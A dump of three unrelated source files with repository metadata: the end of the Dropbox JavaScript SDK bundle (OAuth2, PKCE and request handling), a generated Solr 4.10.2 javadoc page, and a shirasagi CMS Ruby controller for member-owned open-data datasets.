this.request('users/get_account', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Get information about multiple user accounts. At most 300 accounts may be * queried per request. * Route attributes: * scope: sharing.read * @function Dropbox#usersGetAccountBatch * @arg {UsersGetAccountBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<UsersGetAccountBatchError>>} */ routes.usersGetAccountBatch = function (arg) { return this.request('users/get_account_batch', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Get information about the current user's account. * Route attributes: * scope: account_info.read * @function Dropbox#usersGetCurrentAccount * @returns {Promise.<DropboxResponse<UsersFullAccount>, DropboxResponseError.<void>>} */ routes.usersGetCurrentAccount = function () { return this.request('users/get_current_account', null, 'user', 'api', 'rpc', 'account_info.read'); }; /** * Get the space usage information for the current user's account. * Route attributes: * scope: account_info.read * @function Dropbox#usersGetSpaceUsage * @returns {Promise.<DropboxResponse<UsersSpaceUsage>, DropboxResponseError.<void>>} */ routes.usersGetSpaceUsage = function () { return this.request('users/get_space_usage', null, 'user', 'api', 'rpc', 'account_info.read'); }; function getSafeUnicode(c) { var unicode = "000".concat(c.charCodeAt(0).toString(16)).slice(-4); return "\\u".concat(unicode); } var baseApiUrl = function baseApiUrl(subdomain) { var domain = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : DEFAULT_API_DOMAIN; var domainDelimiter = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : '.'; if (!domainDelimiter) { return "https://".concat(domain, "/2/"); } if (domain !== DEFAULT_API_DOMAIN && TEST_DOMAIN_MAPPINGS[subdomain] !== undefined) { subdomain = TEST_DOMAIN_MAPPINGS[subdomain]; domainDelimiter = '-'; } return "https://".concat(subdomain).concat(domainDelimiter).concat(domain, "/2/"); }; var OAuth2AuthorizationUrl = function OAuth2AuthorizationUrl() { var domain = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : DEFAULT_DOMAIN; if (domain !== DEFAULT_DOMAIN) { domain = "meta-".concat(domain); } return "https://".concat(domain, "/oauth2/authorize"); }; var OAuth2TokenUrl = function OAuth2TokenUrl() { var domain = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : DEFAULT_API_DOMAIN; var domainDelimiter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '.'; var subdomain = 'api'; if (domain !== DEFAULT_API_DOMAIN) { subdomain = TEST_DOMAIN_MAPPINGS[subdomain]; domainDelimiter = '-'; } return "https://".concat(subdomain).concat(domainDelimiter).concat(domain, "/oauth2/token"); }; // source https://www.dropboxforum.com/t5/API-support/HTTP-header-quot-Dropbox-API-Arg-quot-could-not-decode-input-as/m-p/173823/highlight/true#M6786 function httpHeaderSafeJson(args) { return JSON.stringify(args).replace(/[\u007f-\uffff]/g, getSafeUnicode); } function getTokenExpiresAtDate(expiresIn) { return new Date(Date.now() + expiresIn * 1000); } /* global WorkerGlobalScope */ function isWindowOrWorker() { return typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope // eslint-disable-line no-restricted-globals || typeof module === 'undefined' || typeof window !== 'undefined'; } function isBrowserEnv() { return typeof window !== 'undefined'; } function isWorkerEnv() { return typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope; // eslint-disable-line no-restricted-globals } function createBrowserSafeString(toBeConverted) { var convertedString = toBeConverted.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, ''); return convertedString; } /** * The response class of HTTP errors from API calls using the Dropbox SDK. * @class DropboxResponseError * @classdesc The response class of HTTP errors from API calls using the Dropbox SDK. * @arg {number} status - HTTP Status code of the call * @arg {Object} headers - Headers returned from the call * @arg {Object} error - Serialized Error of the call */ var DropboxResponseError = /*#__PURE__*/function (_Error) { _inherits(DropboxResponseError, _Error); var _super = _createSuper(DropboxResponseError); function DropboxResponseError(status, headers, error) { var _this; _classCallCheck(this, DropboxResponseError); _this = _super.call(this, "Response failed with a ".concat(status, " code")); _this.name = 'DropboxResponseError'; _this.status = status; _this.headers = headers; _this.error = error; return _this; } return DropboxResponseError; }( /*#__PURE__*/_wrapNativeSuper(Error)); var DropboxResponse = function DropboxResponse(status, headers, result) { _classCallCheck(this, DropboxResponse); this.status = status; this.headers = headers; this.result = result; }; function throwAsError(res) { return res.text().then(function (data) { var errorObject; try { errorObject = JSON.parse(data); } catch (error) { errorObject = data; } throw new DropboxResponseError(res.status, res.headers, errorObject); }); } function parseResponse(res) { if (!res.ok) { return throwAsError(res); } return res.text().then(function (data) { var responseObject; try { responseObject = JSON.parse(data); } catch (error) { responseObject = data; } return new DropboxResponse(res.status, res.headers, responseObject); }); } function parseDownloadResponse(res) { if (!res.ok) { return throwAsError(res); } return new Promise(function (resolve) { if (isWindowOrWorker()) { res.blob().then(function (data) { return resolve(data); }); } else { res.buffer().then(function (data) { return resolve(data); }); } }).then(function (data) { var result = JSON.parse(res.headers.get('dropbox-api-result')); if (isWindowOrWorker()) { result.fileBlob = data; } else { result.fileBinary = data; } return new DropboxResponse(res.status, res.headers, result); }); } var fetch; var crypto; var Encoder; // Expiration is 300 seconds but needs to be in milliseconds for Date object var TokenExpirationBuffer = 300 * 1000; var PKCELength = 128; var TokenAccessTypes = ['legacy', 'offline', 'online']; var GrantTypes = ['code', 'token']; var IncludeGrantedScopes = ['none', 'user', 'team']; /** * @class DropboxAuth * @classdesc The DropboxAuth class that provides methods to manage, acquire, and refresh tokens. * @arg {Object} options * @arg {Function} [options.fetch] - fetch library for making requests. * @arg {String} [options.accessToken] - An access token for making authenticated * requests. * @arg {Date} [options.AccessTokenExpiresAt] - Date of the current access token's * expiration (if available) * @arg {String} [options.refreshToken] - A refresh token for retrieving access tokens * @arg {String} [options.clientId] - The client id for your app. Used to create * authentication URL. * @arg {String} [options.clientSecret] - The client secret for your app. Used to create * authentication URL and refresh access tokens. * @arg {String} [options.domain] - A custom domain to use when making api requests. This * should only be used for testing as scaffolding to avoid making network requests. * @arg {String} [options.domainDelimiter] - A custom delimiter to use when separating domain from * subdomain. This should only be used for testing as scaffolding. * @arg {Object} [options.customHeaders] - An object (in the form of header: value) designed to set * custom headers to use during a request. * @arg {Boolean} [options.dataOnBody] - Whether request data is sent on body or as URL params. * Defaults to false. */ var DropboxAuth = /*#__PURE__*/function () { function DropboxAuth(options) { _classCallCheck(this, DropboxAuth); options = options || {}; if (isBrowserEnv()) { fetch = window.fetch.bind(window); crypto = window.crypto || window.msCrypto; // for IE11 } else if (isWorkerEnv()) { /* eslint-disable no-restricted-globals */ fetch = self.fetch.bind(self); crypto = self.crypto; /* eslint-enable no-restricted-globals */ } else { fetch = require('node-fetch'); // eslint-disable-line global-require crypto = require('crypto'); // eslint-disable-line global-require } if (typeof TextEncoder === 'undefined') { Encoder = require('util').TextEncoder; // eslint-disable-line global-require } else { Encoder = TextEncoder; } this.fetch = options.fetch || fetch; this.accessToken = options.accessToken; this.accessTokenExpiresAt = options.accessTokenExpiresAt; this.refreshToken = options.refreshToken; this.clientId = options.clientId; this.clientSecret = options.clientSecret; this.domain = options.domain; this.domainDelimiter = options.domainDelimiter; this.customHeaders = options.customHeaders; this.dataOnBody = options.dataOnBody; } /** * Set the access token used to authenticate requests to the API. * @arg {String} accessToken - An access token * @returns {undefined} */ _createClass(DropboxAuth, [{ key: "setAccessToken", value: function setAccessToken(accessToken) { this.accessToken = accessToken; } /** * Get the access token * @returns {String} Access token */ }, { key: "getAccessToken", value: function getAccessToken() { return this.accessToken; } /** * Set the client id, which is used to help gain an access token. * @arg {String} clientId - Your apps client id * @returns {undefined} */ }, { key: "setClientId", value: function setClientId(clientId) { this.clientId = clientId; } /** * Get the client id * @returns {String} Client id */ }, { key: "getClientId", value: function getClientId() { return this.clientId; } /** * Set the client secret * @arg {String} clientSecret - Your app's client secret * @returns {undefined} */ }, { key: "setClientSecret", value: function setClientSecret(clientSecret) { this.clientSecret = clientSecret; } /** * Get the client secret * @returns {String} Client secret */ }, { key: "getClientSecret", value: function getClientSecret() { return this.clientSecret; } /** * Gets the refresh token * @returns {String} Refresh token */ }, { key: "getRefreshToken", value: function getRefreshToken() { return this.refreshToken; } /** * Sets the refresh token * @param refreshToken - A refresh token */ }, { key: "setRefreshToken", value: function setRefreshToken(refreshToken) { this.refreshToken = refreshToken; } /** * Gets the access token's expiration date * @returns {Date} date of token expiration */ }, { key: "getAccessTokenExpiresAt", value: function getAccessTokenExpiresAt() { return this.accessTokenExpiresAt; } /** * Sets the access token's expiration date * @param accessTokenExpiresAt - new expiration date */ }, { key: "setAccessTokenExpiresAt", value: function setAccessTokenExpiresAt(accessTokenExpiresAt) { this.accessTokenExpiresAt = accessTokenExpiresAt; } /** * Sets the code verifier for PKCE flow * @param {String} codeVerifier - new code verifier */ }, { key: "setCodeVerifier", value: function setCodeVerifier(codeVerifier) { this.codeVerifier = codeVerifier; } /** * Gets the code verifier for PKCE flow * @returns {String} - code verifier for PKCE */ }, { key: "getCodeVerifier", value: function getCodeVerifier() { return this.codeVerifier; } }, { key: "generateCodeChallenge", value: function generateCodeChallenge() { var _this = this; var encoder = new Encoder(); var codeData = encoder.encode(this.codeVerifier); var codeChallenge; if (isBrowserEnv() || isWorkerEnv()) { return crypto.subtle.digest('SHA-256', codeData).then(function (digestedHash) { var base64String = btoa(String.fromCharCode.apply(null, new Uint8Array(digestedHash))); codeChallenge = createBrowserSafeString(base64String).substr(0, 128); _this.codeChallenge = codeChallenge; }); } var digestedHash = crypto.createHash('sha256').update(codeData).digest(); codeChallenge = createBrowserSafeString(digestedHash); this.codeChallenge = codeChallenge; return Promise.resolve(); } }, { key: "generatePKCECodes", value: function generatePKCECodes() { var codeVerifier; if (isBrowserEnv() || isWorkerEnv()) { var array = new Uint8Array(PKCELength); var randomValueArray = crypto.getRandomValues(array); var base64String = btoa(randomValueArray); codeVerifier = createBrowserSafeString(base64String).substr(0, 128); } else { var randomBytes = crypto.randomBytes(PKCELength); codeVerifier = createBrowserSafeString(randomBytes).substr(0, 128); } this.codeVerifier = codeVerifier; return this.generateCodeChallenge(); } /** * Get a URL that can be used to authenticate users for the Dropbox API. * @arg {String} redirectUri - A URL to redirect the user to after * authenticating. This must be added to your app through the admin interface. * @arg {String} [state] - State that will be returned in the redirect URL to help * prevent cross site scripting attacks. * @arg {String} [authType] - auth type, defaults to 'token', other option is 'code' * @arg {String} [tokenAccessType] - type of token to request. From the following: * null - creates a token with the app default (either legacy or online) * legacy - creates one long-lived token with no expiration * online - create one short-lived token with an expiration * offline - create one short-lived token with an expiration with a refresh token * @arg {Array<String>} [scope] - scopes to request for the grant * @arg {String} [includeGrantedScopes] - whether or not to include previously granted scopes. * From the following: * user - include user scopes in the grant * team - include team scopes in the grant * Note: if this user has never linked the app, include_granted_scopes must be None * @arg {boolean} [usePKCE] - Whether or not to use Sha256 based PKCE. PKCE should be only use * on client apps which doesn't call your server. It is less secure than non-PKCE flow but * can be used if you are unable to safely retrieve your app secret * @returns {Promise<String>} - Url to send user to for Dropbox API authentication * returned in a promise */ }, { key: "getAuthenticationUrl", value: function getAuthenticationUrl(redirectUri, state) { var _this2 = this; var authType = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'token'; var tokenAccessType = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null; var scope = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : null; var includeGrantedScopes = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 'none'; var usePKCE = arguments.length > 6 && arguments[6] !== undefined ? arguments[6] : false; var clientId = this.getClientId(); var baseUrl = OAuth2AuthorizationUrl(this.domain); if (!clientId) { throw new Error('A client id is required. You can set the client id using .setClientId().'); } if (authType !== 'code' && !redirectUri) { throw new Error('A redirect uri is required.'); } if (!GrantTypes.includes(authType)) { throw new Error('Authorization type must be code or token'); } if (tokenAccessType && !TokenAccessTypes.includes(tokenAccessType)) { throw new Error('Token Access Type must be legacy, offline, or online'); } if (scope && !(scope instanceof Array)) { throw new Error('Scope must be an array of strings'); } if (!IncludeGrantedScopes.includes(includeGrantedScopes)) { throw new Error('includeGrantedScopes must be none, user, or team'); } var authUrl; if (authType === 'code') { authUrl = "".concat(baseUrl, "?response_type=code&client_id=").concat(clientId); } else { authUrl = "".concat(baseUrl, "?response_type=token&client_id=").concat(clientId); } if (redirectUri) { authUrl += "&redirect_uri=".concat(redirectUri); } if (state) { authUrl += "&state=".concat(state); } if (tokenAccessType) { authUrl += "&token_access_type=".concat(tokenAccessType); } if (scope) { authUrl += "&scope=".concat(scope.join(' ')); } if (includeGrantedScopes !== 'none') { authUrl += "&include_granted_scopes=".concat(includeGrantedScopes); } if (usePKCE) { return this.generatePKCECodes().then(function () { authUrl += '&code_challenge_method=S256'; authUrl += "&code_challenge=".concat(_this2.codeChallenge); return authUrl; }); } return Promise.resolve(authUrl); } /** * Get an OAuth2 access token from an OAuth2 Code. * @arg {String} redirectUri - A URL to redirect the user to after * authenticating. This must be added to your app through the admin interface. * @arg {String} code - An OAuth2 code. * @returns {Object} An object containing the token and related info (if applicable) */ }, { key: "getAccessTokenFromCode", value: function getAccessTokenFromCode(redirectUri, code) { var clientId = this.getClientId(); var clientSecret = this.getClientSecret(); if (!clientId) { throw new Error('A client id is required. You can set the client id using .setClientId().'); } var path = OAuth2TokenUrl(this.domain, this.domainDelimiter); path += '?grant_type=authorization_code'; path += "&code=".concat(code); path += "&client_id=".concat(clientId); if (clientSecret) { path += "&client_secret=".concat(clientSecret); } else { if (!this.codeVerifier) { throw new Error('You must use PKCE when generating the authorization URL to not include a client secret'); } path += "&code_verifier=".concat(this.codeVerifier); } if (redirectUri) { path += "&redirect_uri=".concat(redirectUri); } var fetchOptions = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }; return this.fetch(path, fetchOptions).then(function (res) { return parseResponse(res); }); } /** * Checks if a token is needed, can be refreshed and if the token is expired. * If so, attempts to refresh access token * @returns {Promise<*>} */ }, { key: "checkAndRefreshAccessToken", value: function checkAndRefreshAccessToken() { var canRefresh = this.getRefreshToken() && this.getClientId(); var needsRefresh = !this.getAccessTokenExpiresAt() || new Date(Date.now() + TokenExpirationBuffer) >= this.getAccessTokenExpiresAt(); var needsToken = !this.getAccessToken(); if ((needsRefresh || needsToken) && canRefresh) { return this.refreshAccessToken(); } return Promise.resolve(); } /** * Refreshes the access token using the refresh token, if available * @arg {Array<String>} scope - a subset of scopes from the original * refresh to acquire with an access token * @returns {Promise<*>} */ }, { key: "refreshAccessToken", value: function refreshAccessToken() { var _this3 = this; var scope = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var clientId = this.getClientId(); var clientSecret = this.getClientSecret(); if (!clientId) { throw new Error('A client id is required. You can set the client id using .setClientId().'); } if (scope && !(scope instanceof Array)) { throw new Error('Scope must be an array of strings'); } var refreshUrl = OAuth2TokenUrl(this.domain, this.domainDelimiter); var fetchOptions = { headers: { 'Content-Type': 'application/json' }, method: 'POST' }; if (this.dataOnBody) { var body = { grant_type: 'refresh_token', client_id: clientId, refresh_token: this.getRefreshToken() }; if (clientSecret) { body.client_secret = clientSecret; } if (scope) { body.scope = scope.join(' '); } fetchOptions.body = body; } else { refreshUrl += "?grant_type=refresh_token&refresh_token=".concat(this.getRefreshToken()); refreshUrl += "&client_id=".concat(clientId); if (clientSecret) { refreshUrl += "&client_secret=".concat(clientSecret); } if (scope) { refreshUrl += "&scope=".concat(scope.join(' ')); } } return this.fetch(refreshUrl, fetchOptions).then(function (res) { return parseResponse(res); }).then(function (res) { _this3.setAccessToken(res.result.access_token); _this3.setAccessTokenExpiresAt(getTokenExpiresAtDate(res.result.expires_in)); }); } }]); return DropboxAuth; }(); var b64 = typeof btoa === 'undefined' ? function (str) { return Buffer.from(str).toString('base64'); } : btoa; /** * @class Dropbox * @classdesc The Dropbox SDK class that provides methods to read, write and * create files or folders in a user or team's Dropbox. * @arg {Object} options * @arg {Function} [options.fetch] - fetch library for making requests. * @arg {String} [options.selectUser] - Select user is only used for team functionality. * It specifies which user the team access token should be acting as. * @arg {String} [options.pathRoot] - root path to access other namespaces * Use to access team folders for example * @arg {String} [options.selectAdmin] - Select admin is only used by team functionality. * It specifies which team admin the team access token should be acting as. * @arg {DropboxAuth} [options.auth] - The DropboxAuth object used to authenticate requests. * If this is set, the remaining parameters will be ignored. * @arg {String} [options.accessToken] - An access token for making authenticated * requests. * @arg {Date} [options.accessTokenExpiresAt] - Date of the current access token's * expiration (if available) * @arg {String} [options.refreshToken] - A refresh token for retrieving access tokens * @arg {String} [options.clientId] - The client id for your app. Used to create * authentication URL. * @arg {String} [options.clientSecret] - The client secret for your app. Used to create * authentication URL and refresh access tokens. * @arg {String} [options.domain] - A custom domain to use when making api requests. This * should only be used for testing as scaffolding to avoid making network requests. * @arg {String} [options.domainDelimiter] - A custom delimiter to use when separating domain from * subdomain. This should only be used for testing as scaffolding. * @arg {Object} [options.customHeaders] - An object (in the form of header: value) designed to set * custom headers to use during a request. */ var Dropbox = /*#__PURE__*/function () { function Dropbox(options) { _classCallCheck(this, Dropbox); options = options || {}; if (options.auth) { this.auth = options.auth; } else { this.auth = new DropboxAuth(options); } this.fetch = options.fetch || this.auth.fetch; this.selectUser = options.selectUser; this.selectAdmin = options.selectAdmin; this.pathRoot = options.pathRoot; this.domain = options.domain || this.auth.domain; this.domainDelimiter = options.domainDelimiter || this.auth.domainDelimiter; this.customHeaders = options.customHeaders || this.auth.customHeaders; Object.assign(this, routes); } _createClass(Dropbox, [{ key: "request", value: function request(path, args, auth, host, style) { // scope is provided after "style", but unused in requests, so it's not in parameters switch (style) { case RPC: return this.rpcRequest(path, args, auth, host); case DOWNLOAD: return this.downloadRequest(path, args, auth, host); case UPLOAD: return this.uploadRequest(path, args, auth, host); default: throw new Error("Invalid request style: ".concat(style)); } } }, { key: "rpcRequest", value: function rpcRequest(path, body, auth, host) { var _this = this; return this.auth.checkAndRefreshAccessToken().then(function () { var fetchOptions = { method: 'POST', body: body ? JSON.stringify(body) : null, headers: {} }; if (body) { fetchOptions.headers['Content-Type'] = 'application/json'; } _this.setAuthHeaders(auth, fetchOptions); _this.setCommonHeaders(fetchOptions); return fetchOptions; }).then(function (fetchOptions) { return _this.fetch(baseApiUrl(host, _this.domain, _this.domainDelimiter) + path, fetchOptions); }).then(function (res) { return parseResponse(res); }); } }, { key: "downloadRequest", value: function downloadRequest(path, args, auth, host) { var _this2 = this; return this.auth.checkAndRefreshAccessToken().then(function () { var fetchOptions = { method: 'POST', headers: { 'Dropbox-API-Arg': httpHeaderSafeJson(args) } }; _this2.setAuthHeaders(auth, fetchOptions); _this2.setCommonHeaders(fetchOptions); return fetchOptions; }).then(function (fetchOptions) { return _this2.fetch(baseApiUrl(host, _this2.domain, _this2.domainDelimiter) + path, fetchOptions); }).then(function (res) { return parseDownloadResponse(res); }); } }, { key: "uploadRequest", value: function uploadRequest(path, args, auth, host) { var _this3 = this; return this.auth.checkAndRefreshAccessToken().then(function () { var contents = args.contents; delete args.contents; var fetchOptions = { body: contents, method: 'POST', headers: { 'Content-Type': 'application/octet-stream', 'Dropbox-API-Arg': httpHeaderSafeJson(args) } }; _this3.setAuthHeaders(auth, fetchOptions); _this3.setCommonHeaders(fetchOptions); return fetchOptions; }).then(function (fetchOptions) { return _this3.fetch(baseApiUrl(host, _this3.domain, _this3.domainDelimiter) + path, fetchOptions); }).then(function (res) { return parseResponse(res); }); } }, { key: "setAuthHeaders", value: function setAuthHeaders(auth, fetchOptions) { // checks for multiauth and assigns auth based on priority to create header in switch case if (auth.split(',').length > 1) { var authTypes = auth.replace(' ', '').split(','); if (authTypes.includes(USER_AUTH) && this.auth.getAccessToken()) { auth = USER_AUTH; } else if (authTypes.includes(TEAM_AUTH) && this.auth.getAccessToken()) { auth = TEAM_AUTH; } else if (authTypes.includes(APP_AUTH)) { auth = APP_AUTH; } } switch (auth) { case APP_AUTH: if (this.auth.clientId && this.auth.clientSecret) { var authHeader = b64("".concat(this.auth.clientId, ":").concat(this.auth.clientSecret)); fetchOptions.headers.Authorization = "Basic ".concat(authHeader); } break; case TEAM_AUTH: case USER_AUTH: if (this.auth.getAccessToken()) { fetchOptions.headers.Authorization = "Bearer ".concat(this.auth.getAccessToken()); } break; case NO_AUTH: case COOKIE: break; default: throw new Error("Unhandled auth type: ".concat(auth)); } } }, { key: "setCommonHeaders", value: function setCommonHeaders(options) { var _this4 = this; if (this.selectUser) { options.headers['Dropbox-API-Select-User'] = this.selectUser; } if (this.selectAdmin) { options.headers['Dropbox-API-Select-Admin'] = this.selectAdmin; } if (this.pathRoot) { options.headers['Dropbox-API-Path-Root'] = this.pathRoot; } if (this.customHeaders) { var headerKeys = Object.keys(this.customHeaders); headerKeys.forEach(function (header) { options.headers[header] = _this4.customHeaders[header]; }); } } }]); return Dropbox; }(); exports.Dropbox = Dropbox; exports.DropboxAuth = DropboxAuth; exports.DropboxResponse = DropboxResponse; exports.DropboxResponseError = DropboxResponseError; Object.defineProperty(exports, '__esModule', { value: true }); }))); //# sourceMappingURL=Dropbox-sdk.js.map
{ "content_hash": "a5b654f701b49ad67866c6b7c8f1ba55", "timestamp": "", "source": "github", "line_count": 5004, "max_line_length": 185, "avg_line_length": 42.48341326938449, "alnum_prop": 0.7049631445008396, "repo_name": "cdnjs/cdnjs", "id": "338c3ba5447ebe9a8c0d8c34ba67e8c8378722c6", "size": "212587", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "ajax/libs/dropbox.js/10.30.0/Dropbox-sdk.js", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_55) on Sun Oct 26 05:56:34 EDT 2014 --> <meta http-equiv="Content-Type" content="text/html" charset="utf-8"> <title>Uses of Class org.apache.solr.handler.DocumentAnalysisRequestHandler (Solr 4.10.2 API)</title> <meta name="date" content="2014-10-26"> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class org.apache.solr.handler.DocumentAnalysisRequestHandler (Solr 4.10.2 API)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/apache/solr/handler/DocumentAnalysisRequestHandler.html" title="class in org.apache.solr.handler">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/solr/handler/class-use/DocumentAnalysisRequestHandler.html" target="_top">Frames</a></li> <li><a href="DocumentAnalysisRequestHandler.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Class org.apache.solr.handler.DocumentAnalysisRequestHandler" class="title">Uses of Class<br>org.apache.solr.handler.DocumentAnalysisRequestHandler</h2> </div> <div class="classUseContainer">No usage of org.apache.solr.handler.DocumentAnalysisRequestHandler</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/apache/solr/handler/DocumentAnalysisRequestHandler.html" title="class in org.apache.solr.handler">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/solr/handler/class-use/DocumentAnalysisRequestHandler.html" target="_top">Frames</a></li> <li><a href="DocumentAnalysisRequestHandler.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small> <i>Copyright &copy; 2000-2014 Apache Software Foundation. All Rights Reserved.</i> <script src='../../../../../prettify.js' type='text/javascript'></script> <script type='text/javascript'> (function(){ var oldonload = window.onload; if (typeof oldonload != 'function') { window.onload = prettyPrint; } else { window.onload = function() { oldonload(); prettyPrint(); } } })(); </script> </small></p> </body> </html>
{ "content_hash": "77dfdd2fe94523ace2321445f2bdcc10", "timestamp": "", "source": "github", "line_count": 131, "max_line_length": 171, "avg_line_length": 38.76335877862596, "alnum_prop": 0.5947223316266247, "repo_name": "kilfu0701/Solr4-Scaffold", "id": "f5d93bf657c43940350138f2590fc16a7e5f6af9", "size": "5078", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "solr-4.10.2/docs/solr-core/org/apache/solr/handler/class-use/DocumentAnalysisRequestHandler.html", "mode": "33188", "license": "mit", "language": [ { "name": "C", "bytes": "117761" }, { "name": "C++", "bytes": "73666" }, { "name": "CSS", "bytes": "331462" }, { "name": "Java", "bytes": "304833" }, { "name": "JavaScript", "bytes": "1035058" }, { "name": "Makefile", "bytes": "3890" }, { "name": "Prolog", "bytes": "75664" }, { "name": "Shell", "bytes": "252633" }, { "name": "XSLT", "bytes": "132573" } ], "symlink_target": "" }
class Opendata::Agents::Nodes::Mypage::Dataset::MyDatasetController < ApplicationController include Cms::NodeFilter::View include Member::LoginFilter include Opendata::MemberFilter helper Opendata::UrlHelper helper Opendata::ListHelper before_action :set_model before_action :set_item, only: [:show, :edit, :update, :delete, :destroy] before_action :set_workflow after_action :deliver_workflow_mail, only: [:create, :update] protected def dataset_node @dataset_node ||= begin node = Opendata::Node::Dataset.site(@cur_site).and_public.first node = Opendata::Node::Dataset.site(@cur_site).first if node.blank? node end end def set_model @model = Opendata::Dataset end def set_item @item = @model.site(@cur_site).member(@cur_member).find params[:id] @item.attributes = fix_params end def set_workflow @cur_site = Cms::Site.find(@cur_site.id) @route = @cur_site.dataset_workflow_route end def set_status @item.workflow_member_id = @cur_member.id @item.cur_site = @cur_site status_was = @item.status status = "closed" status = "request" if @route && params[:request].present? status = "public" if !@route && params[:publish_save].present? @item.apply_status(status, member: @cur_member, route: @route, workflow_reset: true) @deliver_mail = true if status == "request" && status_was != "request" end def deliver_workflow_mail return unless @route return unless @deliver_mail return unless @item.errors.empty? args = { m_id: @cur_member.id, t_uid: @item.workflow_approvers.first[:user_id], site: @cur_site, item: @item, url: ::File.join(@cur_site.full_url, opendata_dataset_path(site: @cur_site, cid: @item.parent, id: @item)) } Opendata::Mailer.request_resource_mail(args).deliver_now rescue nil end def fix_params { site_id: @cur_site.id, member_id: @cur_member.id, cur_node: dataset_node } end def pre_params {} end def permit_fields @model.permitted_fields end def get_params params.require(:item).permit(permit_fields).merge(fix_params) end public def index @items = Opendata::Dataset.site(@cur_site).member(@cur_member). order_by(updated: -1). page(params[:page]). per(20) render end def show render end def new @item = @model.new render end def create @item = @model.new get_params set_status if @item.save Member::ActivityLog.create( cur_site: @cur_site, cur_member: @cur_member, activity_type: :create_dataset, remote_addr: remote_addr, user_agent: request.user_agent) redirect_to @cur_node.url, notice: t("ss.notice.saved") else render action: :new end end def edit render end def update @item.attributes = get_params set_status if @item.update Member::ActivityLog.create( cur_site: @cur_site, cur_member: @cur_member, activity_type: :update_dataset, remote_addr: remote_addr, user_agent: request.user_agent) redirect_to "#{@cur_node.url}#{@item.id}/", notice: t("ss.notice.saved") else render action: :edit end end def delete render end def destroy if @item.destroy redirect_to @cur_node.url, notice: t("ss.notice.deleted") else render action: :delete end end end
{ "content_hash": "95edecd02b2743e2b94a8d00a53bb74c", "timestamp": "", "source": "github", "line_count": 150, "max_line_length": 112, "avg_line_length": 23.093333333333334, "alnum_prop": 0.6377020785219399, "repo_name": "sunny4381/shirasagi", "id": "e7f8ecebf79466cada5a2828daea2efc7031c15c", "size": "3464", "binary": false, "copies": "4", "ref": "refs/heads/master", "path": "app/controllers/opendata/agents/nodes/mypage/dataset/my_dataset_controller.rb", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "82226" }, { "name": "HTML", "bytes": "3233606" }, { "name": "JavaScript", "bytes": "11964854" }, { "name": "Ruby", "bytes": "12347543" }, { "name": "SCSS", "bytes": "525875" }, { "name": "Shell", "bytes": "20130" } ], "symlink_target": "" }
